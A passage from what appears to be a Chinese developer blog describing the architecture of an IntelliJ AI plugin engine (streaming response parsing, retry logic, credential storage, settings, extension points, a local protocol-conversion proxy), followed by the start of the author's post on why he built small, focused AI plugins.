    if (config.providerType == AIProviderType.FREEAI) {
        connection.setRequestProperty("User-Agent", FREEAI_USER_AGENT);  // 带插件版本号
    }
}

读取超时设为连接超时的 2 倍，因为 AI 生成内容通常需要几秒到几十秒。

非流式请求执行

BlockingRequestExecutor 负责非流式请求的完整生命周期：

// BlockingRequestExecutor.java
public String sendRequest(JsonObject body, String apiKey,
                          AIResponseListener listener, boolean validation) {
    String url = config.baseUrl + "/chat/completions";
    // 1. 检查 API Key
    // 2. 序列化请求体为 UTF-8 bytes
    // 3. 通过 IntelliJ HttpRequests 发送 POST
    // 4. 设置 Content-Length、Authorization 等头
    // 5. 写入请求体，读取完整响应
    // 6. 解析响应 JSON，提取 choices[0].message.content
    // 7. 如果有 usage 字段，回调 listener.onUsage()
    // 8. 过滤 </think> 标签（thinking 模型的思考过程）
}

响应解析流程：

// BlockingRequestExecutor.java — parseResponse()
JsonObject json = JsonParser.parseString(responseBody).getAsJsonObject();
String content = json.getAsJsonArray("choices")
    .get(0).getAsJsonObject()
    .getAsJsonObject("message")
    .get("content").getAsString().trim();

// 提取 token 统计
if (json.has("usage")) {
    int promptTokens = usage.get("prompt_tokens").getAsInt();
    int completionTokens = usage.get("completion_tokens").getAsInt();
    listener.onUsage(...);
}

// 过滤思考标签（非流式下 thinking 模型会把思考过程放在 content 里）
return filterThinkingContent(content);

filterThinkingContent() 处理非流式下 thinking 模型返回的 </think>...正文 格式：截取 </think> 之后的内容作为最终结果。如果只看到 <think> 没有 </think>，说明思考过程不完整，返回空字符串。

流式请求执行

StreamRequestExecutor 负责流式请求。核心区别在于不是读取完整响应，而是逐行读取 SSE 事件流。

发送请求

// StreamRequestExecutor.java
public void sendStreamRequest(JsonObject body, String apiKey,
                              AIStreamResponseListener listener) {
    String url = config.baseUrl + "/chat/completions";
    // 1. 检查 API Key
    // 2. listener.onStart()
    // 3. 发送 POST 请求
    // 4. 绑定 StreamCancellationToken（支持取消）
    // 5. 调用 readStreamResponse() 逐行读取 SSE
}

逐行读取 SSE 事件流

// StreamRequestExecutor.java — readStreamResponse()
StreamParseEngine parseEngine = StreamParseEngine.createDefault();
ParseContext parseContext = new ParseContext();

BufferedReader reader = new BufferedReader(
    new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8));

String line;
while ((line = reader.readLine()) != null) {
    // 1. 检查线程中断和取消令牌
    if (line.isBlank()) continue;
    if (line.startsWith("data: ")) {
        String data = line.substring(6).trim();
        if ("[DONE]".equals(data)) break;        // 流结束标记

        JsonObject json = parseSseJson(data);
        UsageStats usageStats = parseUsage(json); // 提取 token 统计

        RawStreamChunk rawChunk = RawStreamChunk.fromJson(json);

        // 2. 检测 finish_reason=length，发送截断通知
        if ("length".equalsIgnoreCase(rawChunk.finishReason())) {
            listener.onNotice("响应被截断...");
        }

        // 3. 通过 StreamParseEngine 解析
        parseEngine.parse(parseContext, rawChunk, chunk -> {
            if (chunk.type() == StreamChunkType.THINKING) {
                listener.onThinkingChunk(chunk.text());
            } else if (chunk.type() == StreamChunkType.CONTENT) {
                fullText.append(chunk.text());
                listener.onChunk(chunk.text());
            } else if (chunk.type() == StreamChunkType.NOTICE) {
                listener.onNotice(chunk.text());
            }
        });

        if (rawChunk.isDone()) break;  // finish_reason=stop
    }
}
listener.onComplete(fullText.toString());

流式取消支持

StreamCancellationToken 可以绑定到 HttpURLConnection，调用 cancel() 时会断开连接，中断 SSE 读取：

if (cancellationToken != null) {
    cancellationToken.bindConnection(connection);
    if (cancellationToken.isCancelled()) {
        connection.disconnect();
        return null;
    }
}

读取循环中每次迭代都检查取消状态，支持用户中途停止生成。

流式响应解析：StreamParseEngine

一次完整的流式调用时序：

sequenceDiagram
    participant BIZ as 业务插件
    participant SVC as AIServiceImpl
    participant FACTORY as AIServiceFactory
    participant PROVIDER as Provider
    participant EXEC as StreamRequestExecutor
    participant ENGINE as StreamParseEngine
    participant API as AI 服务商 API

    BIZ->>SVC: generateContentStream(request, config, listener)
    SVC->>SVC: resolveApiKey(config.credentialId)
    SVC->>FACTORY: createProvider(config)
    FACTORY-->>SVC: provider 实例
    SVC->>PROVIDER: generateContentStream(request, apiKey, listener)
    PROVIDER->>PROVIDER: buildRequestBody(request, stream=true)
    PROVIDER->>EXEC: sendStreamRequest(body, apiKey, listener)
    EXEC->>API: POST /chat/completions (SSE)
    EXEC->>listener: onStart()

    loop 逐行读取 SSE
        API-->>EXEC: data: {"choices":[{"delta":...}]}
        EXEC->>EXEC: RawStreamChunk.fromJson(json)
        EXEC->>ENGINE: parse(context, rawChunk, emitter)
        ENGINE->>ENGINE: 匹配策略链
        ENGINE-->>listener: onThinkingChunk / onChunk
    end

    API-->>EXEC: data: [DONE]
    EXEC-->>listener: onComplete(fullText)

StreamParseEngine 策略链

不同服务商的 thinking 模型返回格式不一样。DeepSeek 用 reasoning_content 字段，Qwen 用 <think> 标签，标准模型只有 content 字段。Engine 用策略链模式统一处理。

graph TD
    CHUNK["RawStreamChunk<br/>content / reasoning / reasoningContent"]
    CHUNK --> E["StreamParseEngine"]
    E --> S1["ReasoningFieldStrategy<br/>priority: 100<br/>匹配 reasoning / reasoning_content 字段"]
    E --> S2["ThinkTagStrategy<br/>priority: 90<br/>匹配 <think> 标签（跨 chunk 缓冲）"]
    E --> S3["MessageContentStrategy<br/>priority: 50<br/>匹配标准 content 字段"]
    E --> S4["FallbackTextStrategy<br/>priority: 0<br/>兜底，原始 content 直接输出"]
    S1 --> |"THINKING + CONTENT"| EMIT["StreamChunkEmitter → Listener"]
    S2 --> |"THINKING / CONTENT"| EMIT
    S3 --> |"CONTENT"| EMIT
    S4 --> |"CONTENT + NOTICE 警告"| EMIT

策略链实现

// StreamParseEngine.java
public final class StreamParseEngine {
    private final List<StreamParseStrategy> strategies;

    public StreamParseEngine(List<StreamParseStrategy> strategies) {
        this.strategies = new ArrayList<>(strategies);
        this.strategies.sort(Comparator.comparingInt(StreamParseStrategy::priority).reversed());
    }

    public void parse(ParseContext context, RawStreamChunk chunk, StreamChunkEmitter emitter) {
        for (StreamParseStrategy strategy : strategies) {
            if (strategy.supports(context, chunk)) {
                strategy.parse(context, chunk, emitter);
                break;  // 只用第一个匹配的策略
            }
        }
    }

    public static StreamParseEngine createDefault() {
        return new StreamParseEngine(List.of(
            new ReasoningFieldStrategy(),   // priority: 100
            new ThinkTagStrategy(),         // priority: 90
            new MessageContentStrategy(),   // priority: 50
            new FallbackTextStrategy()      // priority: 0
        ));
    }
}

每个策略实现 StreamParseStrategy 接口：

public interface StreamParseStrategy {
    int priority();                                          // 优先级，越高越先匹配
    boolean supports(ParseContext ctx, RawStreamChunk chunk); // 是否能处理这个 chunk
    void parse(ParseContext ctx, RawStreamChunk chunk, StreamChunkEmitter emitter);  // 解析
}

RawStreamChunk：原始数据解析

SSE 的每个 JSON 块先解析为 RawStreamChunk，它从 choices[0].delta 中提取所有可能的字段：

// RawStreamChunk.java — fromJson()
String content = readStringValue(delta, "content");            // 标准内容
String reasoning = readStringValue(delta, "reasoning");        // 某些模型的思考字段
if (reasoning == null) reasoning = readStringValue(delta, "thinking");  // 兼容另一种命名
String reasoningContent = readStringValue(delta, "reasoning_content");  // DeepSeek
String finishReason = readStringValue(choice, "finish_reason");         // stop / length

一个 chunk 可能同时包含 reasoning_content 和 content，也可能只有 <think> 标签包裹的文本。

四个策略

ReasoningFieldStrategy（priority 100）：匹配 reasoning 或 reasoning_content 字段。

// ReasoningFieldStrategy.java
public boolean supports(ParseContext ctx, RawStreamChunk chunk) {
    return hasText(chunk.reasoning()) || hasText(chunk.reasoningContent());
}

public void parse(ParseContext ctx, RawStreamChunk chunk, StreamChunkEmitter emitter) {
    emitIfPresent(emitter, StreamChunkType.THINKING, chunk.reasoningContent());  // DeepSeek
    emitIfPresent(emitter, StreamChunkType.THINKING, chunk.reasoning());          // 其他
    emitIfPresent(emitter, StreamChunkType.CONTENT, chunk.content());             // 正文
}

DeepSeek 的 reasoning_content 字段优先级最高，因为它专门用于传输思考过程。

ThinkTagStrategy（priority 90）：匹配 <think>...</think> 标签。这个策略最复杂，因为 <think> 标签可能跨 chunk 分割（一个 chunk 收到 <thi，下一个收到 nk>）。

// ThinkTagStrategy.java
public boolean supports(ParseContext ctx, RawStreamChunk chunk) {
    return ctx.hasTagBuffer()        // 已经在缓冲标签字符
           || ctx.isInThinking()     // 已经进入思考状态
           || content.contains("<")  // 包含标签起始字符
           || content.contains(">");
}

public void parse(ParseContext ctx, RawStreamChunk chunk, StreamChunkEmitter emitter) {
    for (int i = 0; i < content.length(); i++) {
        char ch = content.charAt(i);
        if (ctx.hasTagBuffer() || ch == '<') {
            ctx.appendTagChar(ch);
            if (ctx.isOpenTagComplete()) {       // 完整匹配 "<think>"
                flushText(ctx, textBuffer, emitter);
                ctx.enterThinking();
                continue;
            }
            if (ctx.isCloseTagComplete()) {      // 完整匹配 "</think>"
                flushText(ctx, textBuffer, emitter);
                ctx.exitThinking();
                continue;
            }
            if (!ctx.isTagPrefix()) {            // 不是标签前缀，是普通文本
                textBuffer.append(ctx.consumeTagBuffer());
            }
        } else {
            textBuffer.append(ch);
        }
    }
}

ParseContext 维护一个 tagBuffer（StringBuilder），逐字符累积。每次收到字符后检查：是不是 <think> 或 </think> 的前缀？是的话继续累积。完整匹配后切换思考状态。不是前缀的话把缓冲区内容刷到文本流。这样即使标签被拆到不同 chunk 也能正确识别。

flushText() 根据当前状态决定 emit 什么类型：

private void flushText(ParseContext ctx, StringBuilder textBuffer, StreamChunkEmitter emitter) {
    StreamChunkType type = ctx.isInThinking() ? StreamChunkType.THINKING : StreamChunkType.CONTENT;
    emitter.emit(new StreamChunk(type, textBuffer.toString()));
}

MessageContentStrategy（priority 50）：匹配标准 content 字段。如果前面两个策略都不匹配，但 chunk 有 content，就走这个策略，直接 emit 为 CONTENT 类型。

FallbackTextStrategy（priority 0）：兜底策略，永远返回 true。如果前三个策略都不匹配（比如某个服务商返回了不在预期范围内的字段格式），就直接把原始 content 当正文输出。同时标记 fallbackUsed，在流结束时追加一条 NOTICE 警告，提示用户这种格式没有被覆盖到，可以到 GitHub Discussions 反馈。

// FallbackTextStrategy.java
public void parse(ParseContext ctx, RawStreamChunk chunk, StreamChunkEmitter emitter) {
    if (content != null && !content.isEmpty()) {
        ctx.markFallbackUsed();
        emitter.emit(new StreamChunk(StreamChunkType.CONTENT, content));
    }
    if (chunk.isDone() && ctx.isFallbackUsed() && !ctx.isFallbackWarningEmitted()) {
        ctx.markFallbackWarningEmitted();
        emitter.emit(new StreamChunk(StreamChunkType.NOTICE, FALLBACK_WARNING));
    }
}

流式输出的状态管理

StreamRequestExecutor.readStreamResponse() 维护了多个状态标志来处理流式输出的细节：

inThinking / thinkPrefixPrinted：控制思考内容的前缀输出（第一次输出时加 [🤔 thinking] 标记）
hasThinking：标记是否出现过思考内容，在切换到正文时输出分隔线
contentStarted：首次输出正文时去掉前导换行
thinkingNewlineStreak：压缩思考内容中的连续空行（最多保留 1 个空行）
lengthNoticeSent：finish_reason=length 截断通知只发一次

Anthropic 流式处理

Anthropic 的 SSE 格式和 OpenAI 不同，AnthropicLikeProvider 有自己的流式处理方法 readClaudeSse()：

// AnthropicLikeProvider.java — readClaudeSse()
while ((line = reader.readLine()) != null) {
    if (!line.startsWith("data: ")) continue;
    JsonObject json = safeParseJson(data);

    String type = json.get("type").getAsString();
    if ("message_stop".equals(type)) break;
    if ("error".equals(type)) {
        listener.onError(json.get("error").toString(), null);
        break;
    }
    if ("content_block_delta".equals(type)) {
        JsonObject delta = json.getAsJsonObject("delta");
        if (delta.has("text")) {
            listener.onChunk(delta.get("text").getAsString());       // 正文
        } else if (delta.has("thinking")) {
            listener.onThinkingChunk(delta.get("thinking").getAsString()); // 思考
        }
    }
}

Anthropic 用事件类型（content_block_delta、message_stop）区分数据块，不用 choices[0].delta 结构。思考内容通过 delta.thinking 字段传递，正文通过 delta.text 字段传递。

Anthropic 的流式没有走 StreamParseEngine 策略链——因为它的事件类型已经明确区分了思考和正文，不需要策略匹配。这是两种协议的架构差异。

重试机制与错误处理

flowchart TD
    A["发送请求"] --> B{"响应状态?"}
    B -->|"200 成功"| C["解析响应 → 返回结果"]
    B -->|"401/403"| D["INVALID_API_KEY<br/>不可重试"]
    B -->|"429 限流"| E["RATE_LIMIT"]
    B -->|"408 超时"| F["TIMEOUT"]
    B -->|"5xx 服务错误"| G["SERVICE_UNAVAILABLE"]
    B -->|"网络异常"| H["NETWORK_ERROR"]
    B -->|"响应格式异常"| I["INVALID_RESPONSE<br/>不可重试"]
    D --> ERR["抛出异常"]
    I --> ERR
    E & F & G & H --> J{"isRetryable?<br/>且 attempts < maxRetries"}
    J -->|"是"| K["等待 waitDuration × 2^(n-1)<br/>指数退避"]
    K --> A
    J -->|"否"| ERR

AICompatibleProvider.generateContent() 实现了指数退避重试：

// AICompatibleProvider.java
while (attempts < Math.max(1, runtime.maxRetries)) {
    try {
        return executor.sendRequest(buildRequestBody(request), apiKey, listener, false);
    } catch (AIServiceException e) {
        attempts++;
        if (!e.isRetryable() || attempts >= maxRetries) break;
        long waitTime = (long) (runtime.waitDuration * Math.pow(2, attempts - 1));
        TimeUnit.MILLISECONDS.sleep(waitTime);
    }
}

等待时间 = waitDuration × 2^(attempts-1)。默认 waitDuration=5000ms，第一次重试等 5 秒，第二次等 10 秒。

只有可重试的错误才会触发重试。AIServiceException.isRetryable() 的判断逻辑：

public boolean isRetryable() {
    return errorCode == ErrorCode.NETWORK_ERROR
           || errorCode == ErrorCode.TIMEOUT
           || errorCode == ErrorCode.RATE_LIMIT
           || errorCode == ErrorCode.SERVICE_UNAVAILABLE;
}

API Key 无效、配置错误、响应格式错误这些不会重试——重试也没用。

HTTP 状态码到错误码的映射：

public static ErrorCode mapHttpError(int statusCode) {
    return switch (statusCode) {
        case 401, 403 -> ErrorCode.INVALID_API_KEY;
        case 408 -> ErrorCode.TIMEOUT;
        case 429 -> ErrorCode.RATE_LIMIT;
        case 500, 502, 503, 504 -> ErrorCode.SERVICE_UNAVAILABLE;
        default -> ErrorCode.INVALID_RESPONSE;
    };
}

BlockingRequestExecutor 还对 IOException 的错误信息做了二次解析——有些 HTTP 客户端会把状态码放在异常消息里而不是状态码里（比如 HttpURLConnection 直接抛 IOException 时）：

// BlockingRequestExecutor.java — getErrorString()
if (message.contains("HTTP response code: 429"))
    throw new AIServiceException("...", ErrorCode.RATE_LIMIT, e);
if (message.contains("HTTP response code: 401"))
    throw new AIServiceException("...", ErrorCode.INVALID_API_KEY, e);

模型参数处理

AIModelParameters 包含 5 个参数，全部用字符串存储，支持 “auto” 和手动值：

public class AIModelParameters {
    public String temperature = "auto";      // 0.0-2.0
    public String maxTokens = "auto";        // 数字或 K 单位（4K = 4000）
    public String topP = "auto";             // 0.0-1.0
    public String topK = "auto";             // 0-100
    public String presencePenalty = "auto";  // -2.0-2.0
}

“auto” 表示不发送该参数，让服务商使用模型默认值。这避免了不同模型对参数支持不一致导致的报错——比如某些模型不支持 presence_penalty，你传了就 400 报错。

maxTokens 有一个兼容迁移逻辑：旧配置存储的是实际 token 数（如 4096），新配置用 K 单位（如 4）。AIModelParameters.migrateMaxTokens() 会自动把 >= 1000 的旧值除以 1000 转为 K 单位。

构建请求体时的参数注入逻辑：

// temperature
if (!"auto".equals(params.temperature)) {
    body.addProperty("temperature", Double.parseDouble(params.temperature));
}

// maxTokens：支持 K 单位
if (maxTokensStr.endsWith("K") || maxTokensStr.endsWith("k")) {
    body.addProperty("max_tokens", (int) Math.max(100, Math.round(inK * 1000)));
} else {
    body.addProperty("max_tokens", Integer.parseInt(maxTokensStr));
}

所有参数解析都有 try-catch NumberFormatException，无效输入直接忽略，不会导致请求失败。

连接测试与模型刷新

测试连接

validateConfiguration() 发送一个最小化请求（“i say ping, you say pong”）验证配置：

// AICompatibleProvider.java
AIChatRequest request = new AIChatRequest("i say ping, you say pong", "ping", 0);
String response = executor.sendRequest(buildRequestBody(request), apiKey, null, true);
// validation=true → parseValidationResponse() 只检查 choices 是否非空

验证成功后自动加入可用服务商列表。验证失败返回 ValidationResult.failure()，UI 上显示错误信息。

刷新模型列表

getAvailableModels() 向服务商的 /v1/models 端点发 GET 请求：

// AICompatibleProvider.java
String url = config.baseUrl + "/models";
String responseBody = HttpRequests.request(url)
    .tuner(connection -> tuneConnection((HttpURLConnection) connection, apiKey))
    .connect(HttpRequests.Request::readString);
List<String> models = parseModelsResponse(responseBody);

解析 data[].id 字段提取模型 ID。UI 层会自动过滤掉视觉模型（vl）和语音模型（tts）。

Anthropic 的模型列表接口可能因权限/版本差异不可用，会兜底使用枚举内置列表：

// AnthropicLikeProvider.java
try {
    List<String> models = parseClaudeModelsResponse(responseBody);
    if (!models.isEmpty()) return models;
} catch (Exception e) { ... }
return new ArrayList<>(getProviderType().getSupportedModels());  // 兜底

凭证管理

API Key 通过 IntelliJ 内置的 PasswordSafe 加密存储，不写入配置文件：

// AICredentialManager.java
public void setApiKey(String credentialId, String apiKey) {
    CredentialAttributes attrs = new CredentialAttributes(serviceName, keyPrefix + credentialId);
    PasswordSafe.getInstance().setPassword(attrs, apiKey);
}

每个服务商配置有一个唯一的 credentialId，由 providerId + modelName + apiKey + baseUrl 的哈希生成。切换服务商时通过 loadApiKeyAsync 异步加载对应的 API Key，不阻塞 UI 线程。

AIServiceImpl.resolveApiKey() 在发起请求前解析凭证：

// AIServiceImpl.java
private static String resolveApiKey(Project project, AIProviderConfig config) {
    if (config.providerType == AIProviderType.FREEAI) {
        // FREEAI 需要先开启统计功能
        if (!StatisticsSettings.getInstance().isEnableStatistics()) {
            notifyFreeAiStatisticsRequired(project);
            throw new AIServiceException("...");
        }
    }
    return GLOBAL_CREDENTIAL_MANAGER.getApiKey(config.credentialId);
}

FREEAI 是自建的免费代理，使用前需要用户同意隐私协议并开启统计功能。

响应语言

ResponseLanguage 枚举支持 11 种语言：

语言	ISO 代码	UI 显示
简体中文	zh	🇨🇳 简体中文
繁体中文	zh-TW	🇹🇼 繁體中文
英文	en	🇺🇸 English
日文	ja	🇯🇵 日本語
韩文	ko	🇰🇷 한국어
法文	fr	🇫🇷 Français
德文	de	🇩🇪 Deutsch
西班牙文	es	🇪🇸 Español
俄文	ru	🇷🇺 Русский
葡萄牙文	pt	🇧🇷 Português
意大利文	it	🇮🇹 Italiano

设置后，所有 prompt 模板中会注入语言指令，AI 按指定语言生成内容。

设置页面配置

设置页面分七个区域，下面是所有可配置项。

一、基础连接配置

配置项	说明
AI 服务商	下拉选择，按组分类（OpenAI 系列 / Anthropic 系列 / 其他），每组有图标和名称
Base URL	服务商 API 地址，大部分自动填充，部分可编辑
API Key	密码框输入，通过 IntelliJ Password Safe 加密存储
模型	可编辑的下拉框，支持键盘快速搜索（SpeedSearch），支持从服务商刷新模型列表
获取 API Key	超链接，点击跳转到对应服务商的 API Key 管理页面
测试连接	验证当前配置是否可用，成功后自动加入可用服务商列表
刷新模型	从服务商拉取最新模型列表，自动过滤掉视觉（vl）和语音（tts）模型

二、可用服务商管理

配置项	说明
显示可用服务商	展开/收起服务商列表
服务商表格	列：服务商图标+名称、模型名、超时(s)、最大 Token、备注
超时列	可直接编辑，范围 1-600 秒
最大 Token 列	可直接编辑，支持 “auto” 或数字（K 单位）
备注列	可直接编辑，默认填充添加时间
删除	工具栏删除按钮，带确认对话框
清空全部	垃圾桶按钮，带确认对话框

测试连接成功的配置自动加入此列表。可用服务商列表会通知所有注册的 AIProviderSettingsListener，其他插件（如 Javadoc 的多服务商并行生成）通过监听此列表获取可用服务商。

三、Autocomplete 服务商选择

配置项	说明
Autocomplete 默认服务商	从可用服务商列表中选择一个用于代码自动补全

四、基础配置

配置项	说明
响应语言	下拉选择，支持 11 种语言（见上表）
详细日志	开启后记录完整的 AI 请求和响应日志
自动更新检查	是否检查插件更新
显示更新通知	是否弹出新版本通知
启用 NextEdit	开启 AI 代码智能补全功能

五、高级配置

配置项	默认值	范围	说明
最大重试次数	2	0-10（整数）	请求失败后的重试次数
请求超时	10s	1-999999999999（整数）	单次请求超时时间
最大 Token 数	auto	1-999999999999 或 auto	单次请求的最大输出 token（K 单位）
温度 (Temperature)	auto	0.0-2.0（小数）或 auto	控制生成随机性
Top P	auto	0.0-1.0（小数）或 auto	核采样概率
Top K	auto	0-100（整数）或 auto	前 K 个候选
存在惩罚 (Presence Penalty)	auto	-2.0-2.0（小数）或 auto	重复内容惩罚

所有参数都支持 “auto”（使用模型默认值）和手动指定。输入框有实时验证，不合法的输入会被拦截。这些参数存储在 AIModelParameters 中，每个服务商可以有独立的参数配置。

六、IntelliAgent 本地代理

配置项	说明
自动启动	IDE 启动时自动运行本地代理 JAR
自动更新	自动检查并更新代理 JAR
下载地址	JAR 文件下载 URL
下载 / 启动按钮	手动下载 JAR 或启动/停止代理

七、统计与反馈

配置项	说明
启用统计	开启使用量统计
允许上传	将匿名统计数据上传到服务端
隐私协议	需要先同意隐私协议才能开启统计
设备 ID	跨平台设备指纹（Linux machine-id / macOS IOPlatformUUID / Windows MachineGuid），用于匿名标识

统计系统记录每次 AI 调用的详细信息：事件类型、服务商、模型、token 消耗、响应延迟、结果状态。数据以加密二进制格式持久化到本地文件（INTELLAI 魔数 + 版本号 + 记录数 + CRC32 校验，记录内容 XOR 加密）。

扩展能力

NextEdit 智能补全

基于 AI 的代码智能补全功能，在编辑器中根据上下文预测下一步编辑位置和内容。通过设置中的”启用 NextEdit”开关控制。

AI Chat 对话

内置 AI Chat 面板，支持与 AI 进行多轮对话。通过 Tool Window 集成在 IDE 侧边栏。

第三方插件接入

Engine 通过 IntelliJ Platform 的扩展点（Extension Points）机制，让第三方插件接入 AI 能力。不需要直接调用 AIServiceImpl 的内部实现，只要实现一个接口、在 plugin.xml 里注册就行。

PluginAISettingsProvider 接口

每个使用 Engine 的插件实现 PluginAISettingsProvider 接口，提供自己的默认供应商和参数配置：

@Service(Service.Level.PROJECT)
public final class MyPluginAISettingsProvider implements PluginAISettingsProvider {

    @Override
    public AIProviderType getDefaultProviderType() {
        // 返回这个插件偏好的 AI 服务商
        return AIProviderType.QIANWEN;
    }

    @Override
    public AIModelParameters getModelParameters() {
        // 返回这个插件的模型参数（temperature、maxTokens 等）
        return new AIModelParameters();
    }

    @Override
    public AIRuntimeSettings getRuntimeSettings() {
        // 返回这个插件的运行时设置（超时、重试等）
        return new AIRuntimeSettings();
    }
}

注册扩展点

在插件的 plugin.xml 中声明对 Engine 的依赖，并注册实现：

<!-- 声明依赖 -->
<depends>dev.dong4j.zeka.stack.idea.plugin.common.ai</depends>

<!-- 注册到 Engine 的扩展点 -->
<extensions defaultExtensionNs="dev.dong4j.zeka.stack.idea.plugin.common.ai">
    <pluginAISettingsProvider
        implementation="com.example.plugin.MyPluginAISettingsProvider"/>
</extensions>

调用方式

业务插件发起 AI 请求只需要三行代码：

AIService aiService = AIService.getInstance();
String result = aiService.generateContent(project, request, config, listener);
// 或流式
aiService.generateContentStream(project, request, config, streamListener);

Engine 会通过调用栈自动识别是哪个插件在调用（通过类加载器匹配），找到对应的 PluginAISettingsProvider 实现，使用该插件的配置。

sequenceDiagram
    participant A as JavaDoc 插件
    participant B as Changelog 插件
    participant SVC as AIServiceImpl
    participant EP as Extension Points

    A->>SVC: generateContent()
    SVC->>SVC: findCallerPluginClass() → 调用栈识别
    SVC->>EP: 遍历所有 PluginAISettingsProvider
    EP-->>SVC: JavaDocAISettingsProvider（类加载器匹配）
    SVC->>SVC: 使用 JavaDoc 的配置生成内容

    B->>SVC: generateContent()
    SVC->>SVC: findCallerPluginClass() → 调用栈识别
    SVC->>EP: 遍历所有 PluginAISettingsProvider
    EP-->>SVC: ChangelogAISettingsProvider（类加载器匹配）
    SVC->>SVC: 使用 Changelog 的配置生成内容

每个插件的配置完全隔离——JavaDoc 用通义千问，Changelog 用 Ollama，互不干扰。如果插件没有注册扩展点，Engine 会使用全局默认配置。

非标准协议接入

内置的 Provider 覆盖了 OpenAI 兼容和 Anthropic 协议，但有些 AI 服务用的是 WebSocket、gRPC 或者自定义协议，直接改 Engine 代码不现实。Engine 的解决方案是：写一个独立的 JAR 包做协议转换。

工作原理

JAR 包作为一个本地代理服务，监听固定端口 8765，对外暴露标准的 OpenAI API。Engine 把它当作一个普通的 OpenAI 兼容服务商来调用：

graph LR
    ENGINE["IntelliAI Engine<br/>OpenAILikeProvider<br/>Base URL = http://127.0.0.1:8765"] -->|"HTTP POST<br/>/v1/chat/completions"| JAR["JAR 代理服务<br/>localhost:8765"]
    JAR -->|"协议转换"| WS["WebSocket 服务"]
    JAR -->|"协议转换"| GRPC["gRPC 服务"]
    JAR -->|"协议转换"| CUSTOM["自定义协议服务"]

对 Engine 来说，JAR 就是一个普通的 OpenAI 兼容服务商。所有协议差异全部在 JAR 内部处理。

必须实现的三个端点

JAR 包需要提供三个 HTTP 端点：

端点	方法	说明
`/health`	GET	健康检查，返回 `{"status":"ok"}`
`/v1/models`	GET	模型列表，返回 OpenAI 标准格式
`/v1/chat/completions`	POST	聊天请求，支持流式和非流式

聊天端点需要同时支持非流式（返回完整 JSON）和流式（返回 SSE，以 data: [DONE] 结束）两种模式。

协议转换示例（WebSocket）

以 WebSocket 为例，核心流程：

// 1. 接收 OpenAI 格式请求
public void handleChatCompletions(HttpExchange exchange) {
    JSONObject request = parseRequest(exchange);
    String question = extractUserMessage(request);
    boolean stream = request.getBoolean("stream");

    if (stream) {
        handleStreamRequest(question, exchange);
    } else {
        handleStandardRequest(question, exchange);
    }
}

// 2. 转换为原始协议并发送
websocketClient.send(new OriginalRequest(question));

// 3. 接收原始响应，转换为 OpenAI 格式返回
public JSONObject convertToOpenAiFormat(OriginalResponse original) {
    JSONObject response = new JSONObject();
    response.put("id", generateId());
    response.put("object", "chat.completion");
    response.put("model", "your-model-id");
    // ... 构建 choices 数组
    return response;
}

版本管理与自动更新

Engine 内置了 JAR 的版本管理和自动更新机制。在设置页面配置 JAR 的下载地址（Base URL）后，Engine 会自动完成：

向 {baseUrl}/agent/version 发请求，获取最新 JAR 文件名
检查本地是否存在该版本，不存在则下载
用 java -jar 启动 JAR 服务
通过 http://127.0.0.1:8765/health 检查是否启动成功

sequenceDiagram
    participant ENGINE as Engine
    participant SERVER as 下载服务器
    participant AGENT as JAR 代理<br/>(localhost:8765)

    ENGINE->>SERVER: GET /agent/version
    SERVER-->>ENGINE: intelli-ai-agent-1.0.0.jar

    alt 本地不存在或版本不同
        ENGINE->>SERVER: GET /agent/intelli-ai-agent-1.0.0.jar
        SERVER-->>ENGINE: JAR 文件
    end

    ENGINE->>AGENT: java -jar intelli-ai-agent-1.0.0.jar
    ENGINE->>AGENT: GET /health
    AGENT-->>ENGINE: {"status":"ok"}

    Note over ENGINE,AGENT: 服务就绪，可以正常调用

设置页面的”IntelliAgent 本地代理”区域提供下载地址配置、自动启动开关和手动下载/启动按钮。

开发模板

Engine 仓库提供了完整的模板项目 intelli-ai-agent-template，包含 Maven 配置、OpenAI API 服务器实现、原始协议客户端接口示例。基于模板开发只需要实现原始协议的连接、请求、响应转换逻辑，其余框架代码不需要重写。

相关文章:

IntelliAI Terminal - 终端自然语言生成 Shell 命令
IntelliAI JavaDoc - AI 驱动的 JavaDoc 自动生成插件
IntelliAI Changelog - AI 一键生成 Changelog、日报、周报

为什么我选择做一个"小工具"：IntelliAI 插件的设计哲学与 Engine 架构

Fri, 02 Jan 2026 00:00:00 GMT

写在前面

最近我一直在反复回答一个问题：为什么我没有去做一个 Claude Code、Codex 那种大而全的 AI 工具，而是先做了几个看起来很”小”的 IDEA 插件？

这个问题背后，其实是同一个选择题：工具到底要不要把所有事情都做掉。

我现在的答案很明确：

我不想做一个”替你做完所有事”的工具，我只想做一个在关键一刻能帮你省掉重复劳动的工具。

这篇文章我把两部分内容合并到一起讲：一部分是我的真实动机（为什么要做），另一部分是架构上的取舍（为什么要拆 Engine）。

我最早的痛点，不是没有 AI，而是 AI 太重了

AI 还没这么普及的时候，我做过一段时间 Javadoc 自动生成。那时候主要靠 PSI 拿代码结构，再套模板拼注释。流程是能跑通，但有两个问题一直很明显：

对方法命名质量依赖很高
生成出来的描述经常”结构正确、语义不对”

说白了就是格式没问题，但意思不一定对，最后还得人工二次修改。

后来 AI 出来后，这件事理论上应该更容易了，但我自己实际用下来又遇到了另一个坑：很多大模型工具太”全能”了，带了很多 MCP、Skill、Agent 能力，做复杂任务很强，但放到 Javadoc 这种高频小任务上，反而不够顺手。

比如我想给整个项目批量补注释，本来目标很简单：给我符合规范、语义准确的注释。结果经常变成：

多轮交互
上下文超长
反复缩小范围重试
Token 开销越来越高

最后你会发现，真正慢的不是模型，而是整个交互链路。

我真正想要的，其实是最原始的”一问一答”

回到我自己的场景，需求其实非常朴素：

输入：当前代码片段 + 系统提示词/用户提示词
输出：可直接落库的 Javadoc 文本
后处理：由 IDEA 插件完成插入/替换

就一轮问答，不做额外剧情。

这也是我做 IntelliAI Javadoc 的起点。它没有追求”万能助手”，只专注一件事：把 Javadoc 生成这条链路做到足够短、足够快、足够稳定。

因为边界足够清楚，我就可以把性能优化做得更激进，比如并发处理、提示词压缩、批量生成流程优化、CodeView 一键替换等。最后的结果很直接：单个生成快，批量生成更快，而且质量可控。

插件上线后，同事给了不少正向反馈，这让我更确信一件事：小而专注，不是功能弱，而是更贴近真实工作流。

第二个插件让我确认：这条路是可复用的

做完 Javadoc 后，我又做了 IntelliAI Changelog。思路几乎一样：把提交上下文喂给 AI，返回规范提交信息，再由插件承接后续操作。

这时候我开始意识到一个很关键的事实：我前两个插件虽然业务目标不同，但 AI 链路几乎一模一样：

配置服务商
组装提示词
调用模型
处理返回结果

也就是说，真正重复的不是业务，而是 AI 基础能力。

